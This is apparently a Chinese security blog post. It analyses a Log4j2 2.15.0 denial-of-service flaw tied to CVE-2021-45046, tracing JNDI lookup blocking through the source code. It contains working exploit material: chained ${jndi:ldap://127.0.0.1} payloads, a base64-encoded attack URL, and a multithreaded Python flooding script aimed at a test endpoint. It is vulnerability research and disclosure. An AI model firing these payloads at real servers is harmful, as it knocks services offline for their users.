在Log4j2
爆出RCE
漏洞后,官方给出了RC1
和RC2
的修复,在之前的文章中有详细分析
在RC2
的修复之前,其实就存在DOS
的可能,但我在RC2
的修复后,发现仍然可以造成拒绝服务漏洞
于是在RC2
修复补丁发布后几小时内向Apache Logging PMC
报告了该问题
得到了官方的认可和致谢
其实当时没有想过申请CVE
等步骤,但在今天早上看到了Log4j2
发布了CVE-2021-45046
漏洞报告,这个CVE
正是拒绝服务相关,不过漏洞credit
信息并不是我,而是国外某团队
具体链接参考:
https://logging.apache.org/log4j/2.x/security.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
大致阅读CVE-2021-45046
相关的信息后,发现和我提交的DOS
漏洞略有不同,但核心部分是一致的
在2.15.0
版本利用的前提:该漏洞必须在开启lookup
功能的情况下触发
一种常见的开启姿势是在log4j2.xml
中:
xxxxxxxxxx
<appenders>
<console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
<PatternLayout pattern="%msg{lookups}%n"/>
</console>
</appenders>
这篇文章就从三个方面来谈一谈这个拒绝服务漏洞
CVE
描述的漏洞与我发现的有什么相同和不同之处回顾RC1
和RC2
的修复:如果存在JndiLookup
那么会判断其中的的host
是否合法
xxxxxxxxxx
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
而allowedHosts
中一定包含有localhost
和127.0.0.1
xxxxxxxxxx
// 拿到本地IP
private static final List<String> permanentAllowedHosts = NetUtils.getLocalIps();
...
addAll(hosts, allowedHosts, permanentAllowedHosts, ALLOWED_HOSTS, data);
return new JndiManager(...,allowedHosts,...);
这说明如果LDAP
服务端在127.0.0.1
可以成功lookup
然而黑客不可能凭空在服务端本地开启一个恶意的LDAP Server
我想到lookup
本质是网络相关的操作,会有阻塞的可能。可以构造出Payload
使程序lookup
本地,而本地不可能开LDAP Server
,于是发生超时等待,也许会有拒绝服务漏洞的可能
于是修改了RC2
的源码,加入了统计时间代码,分析lookup
的超时情况
(下文分析为什么阻塞的方法不是looup
而是context.getAttributes
)
xxxxxxxxxx
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
long startTime = System.currentTimeMillis();
Attributes attributes = null;
try {
// 阻塞方法
attributes = this.context.getAttributes(name);
}catch (Exception ignored){
}
long endTime = System.currentTimeMillis();
System.out.println(endTime-startTime);
测试以上打印时间的代码会发现总是打印2000
左右,说明超时时间为2
秒
深入getAttributes
可以看到这样的方法
xxxxxxxxxx
static ResolveResult getUsingURLIgnoreRootDN(String var0, Hashtable<?, ?> var1) throws NamingException {
LdapURL var2 = new LdapURL(var0);
// 跟入
LdapCtx var3 = new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl());
String var4 = var2.getDN() != null ? var2.getDN() : "";
CompositeName var5 = new CompositeName();
if (!"".equals(var4)) {
var5.add(var4);
}
return new ResolveResult(var3, var5);
}
在new LdapCtx
方法中存在connect
操作导致阻塞
(其实connect
方法还有几步才会到达最底层的阻塞,不过没有必要继续分析了)
xxxxxxxxxx
public LdapCtx(String var1, String var2, int var3, Hashtable<?, ?> var4, boolean var5) throws NamingException {
...
try {
this.connect(false);
}
...
}
回到之前的问题:为什么阻塞的不是lookup
而是getAttributes
方法
当前代码在连接超时后会抛出异常,走不到lookup
方法
其实在lookup
方法中应该也会造成阻塞,简单往里面跟一下会发现类似的代码
xxxxxxxxxx
// 从Attributes里获取属性
// 那么应该调用了getAttributes之类的阻塞方法
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
var3 = Obj.decodeObject((Attributes)var4);
}
if (var3 == null) {
// 类似的代码
var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
}
现在发现了能让程序阻塞的办法,那么怎样构造Payload
以达成更长时间的阻塞呢
Log4j2
在处理${}
是递归解析,也就是说会处理一个字符串中的所有${}
并分别处理对应的值,每一次的处理都会造成2
秒的等待,所以只需简单的拼接即可
xxxxxxxxxx
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List<String> priorVariables) {
...
substitute(event, bufName, 0, bufName.length());
...
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
...
int change = substitute(event, buf, startPos, varLen, priorVariables);
}
例如我拼接三个会阻塞更长的时间
(这里是针对本地80
端口,实际上可以用大概率关闭的高位端口)
xxxxxxxxxx
${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}
这时候会有师傅产生疑问:
在一个web
请求中,这样的payload
只能让我当前的请求阻塞住,如何实现真正的拒绝服务攻击,让目标网站无法正常处理别人的请求呢?我将在后文给大家展示
造一个SpringBoot
项目,在resources
下添加配置文件开启lookup
功能
xxxxxxxxxx
<configuration status="OFF" monitorInterval="30">
<appenders>
<console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
<PatternLayout pattern="%msg{lookups}%n"/>
</console>
</appenders>
<loggers>
<root level="error">
<appender-ref ref="CONSOLE-APPENDER"/>
</root>
</loggers>
</configuration>
为了制造场景所以要移除了SpringBoot
自带的日志依赖,而选用Log4j2
另外引入starter-web
以编写Controller
模拟真实的接口供测试
xxxxxxxxxx
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
模拟一个接口:接受message
参数并Base64
解码后打印日志
xxxxxxxxxx
public class TestController {
private static final Logger logger = LogManager.getLogger(TestController.class);
"/test") (
public String test(String message) {
try {
// Base64解码
String data = new String(Base64.getDecoder().decode(message));
logger.error("message:" + data);
} catch (Exception e) {
return e.getMessage();
}
return "";
}
}
使用Python
编写EXP
打自己的靶机
xxxxxxxxxx
import base64
import threading
import requests
# 每一个Payload将会导致阻塞20秒
payload = "${jndi:ldap://127.0.0.1}" * 10
payload = base64.b64encode(bytes(payload, encoding="utf-8"))
url = "http://127.0.0.1:8080/test?message=" + str(payload, encoding="utf-8")
def work():
requests.get(url)
if __name__ == '__main__':
threadList = []
# 多线程请求
for i in range(1000):
t = threading.Thread(target=work)
threadList.append(t)
t.start()
for thread in threadList:
thread.join()
启动SpringBoot
项目后,可以用这个Python
脚本成功造成拒绝服务漏洞
接下来分析这个CVE
,其实我不确定对于这个CVE
的解读是否正确
在Log4j2.xml
中支持一种配置从上下文中取值:例如这个例子可以取到loginId
值
xxxxxxxxxx
<Appenders>
<Console name="STDOUT" target="SYSTEM_OUT">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
</PatternLayout>
</Console>
</Appenders>
如果程序这样写
xxxxxxxxxx
public static void main(String[] args) throws Exception{
ThreadContext.put("loginId","1}");
logger.error("xxx");
}
将会打印
xxxxxxxxxx
2021-12-15 12:03:53,860 ERROR Main [main] 1 xxx
如果代码这样写将会导致类似的拒绝服务
xxxxxxxxxx
ThreadContext.put("loginId","${jndi:ldap://127.0.0.1}");
logger.error("xxx");
在xml
中有另一种效果相同的配置方式,但这种写法反而不会触发${}
解析
xxxxxxxxxx
<Appenders>
<Console name="STDOUT" target="SYSTEM_OUT">
<PatternLayout>
<pattern>%d %p %c{1.} [%t] %X{loginId} %m%n</pattern>
</PatternLayout>
</Console>
</Appenders>
在issue
中也有人证实了这一点
关于拒绝服务的分析上文已有,重点看一下ContextMapLookup
xxxxxxxxxx
public String lookup(final String key) {
return currentContextData().getValue(key);
}
public String lookup(final LogEvent event, final String key) {
return event.getContextData().getValue(key);
}
这里的contextData
正是一个简单的Map
在resolveVariable
方法返回
xxxxxxxxxx
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
// 取出了${jndi:ldap://127.0.0.1}
return resolver.lookup(event, variableName);
}
取出的payload
在下一次的递归中成功被lookup
不难发现lookup
时是从event
中取Map
那么该Map
是如何保存到event
中的呢
定位到创建LogEvent
的方法ReusableLogEventFactory.createEvent
xxxxxxxxxx
public LogEvent createEvent(final String loggerName, final Marker marker, final String fqcn,
final StackTraceElement location, final Level level, final Message message,
final List<Property> properties, final Throwable t) {
if (result == null || result.reserved) {
final boolean initThreadLocal = result == null;
// 这个类中包含了空的context
result = new MutableLogEvent();
...
}
...
// 真正设置context属性
result.setContextData(injector.injectContextData(properties, (StringMap) result.getContextData()));
result.setContextStack(ThreadContext.getDepth() == 0 ? ThreadContext.EMPTY_STACK : ThreadContext.cloneStack());
...
return result;
}
跟入ThreadContextDataInjector.injectContextData
方法
xxxxxxxxxx
public StringMap injectContextData(final List<Property> props, final StringMap ignore) {
if (providers.size() == 1 && (props == null || props.isEmpty())) {
// 跟入supplyStringMap
return providers.get(0).supplyStringMap();
}
...
}
进入ThreadContextDataProvider.supplyStringMap
方法
xxxxxxxxxx
public StringMap supplyStringMap() {
return ThreadContext.getThreadContextMap().getReadOnlyContextData();
}
在getReadOnlyContextData
中获得这个Map
再没有必要做进一步的分析了,这个拒绝服务漏洞原理已经清晰了
CVE
中提到的利用场景应该更为广泛
通常情况下,记录登录用户的身份等信息是常见的操作
如果程序员选择了Log4j2
这种ctx
记录的方式而不是手动拼接字符串,将会导致该漏洞
xxxxxxxxxx
"/test") (
public String test(String userId) {
try {
String id = new String(Base64.getDecoder().decode(userId));
// 记录用户登录ID
ThreadContext.put("loginId", id);
// 记录该用户已登录
logger.info("user login");
// 其他业务逻辑
// ...
} catch (Exception e) {
return e.getMessage();
}
return "";
}
正常情况下:http://localhost:8080/test?userId=MQ==
将会记录
x
2021-12-15 12:51:27,845 [http-nio-8080-exec-1] 1 user login
如果打Payload
则报错并成功阻塞
xxxxxxxxxx
http://localhost:8080/test?userId=JHtqbmRpOmxkYXA6Ly8xMjcuMC4wLjF9
改写下Python
脚本即可成功拒绝服务
xxxxxxxxxx
url = "http://127.0.0.1:8080/test?userId=" + str(payload, encoding="utf-8")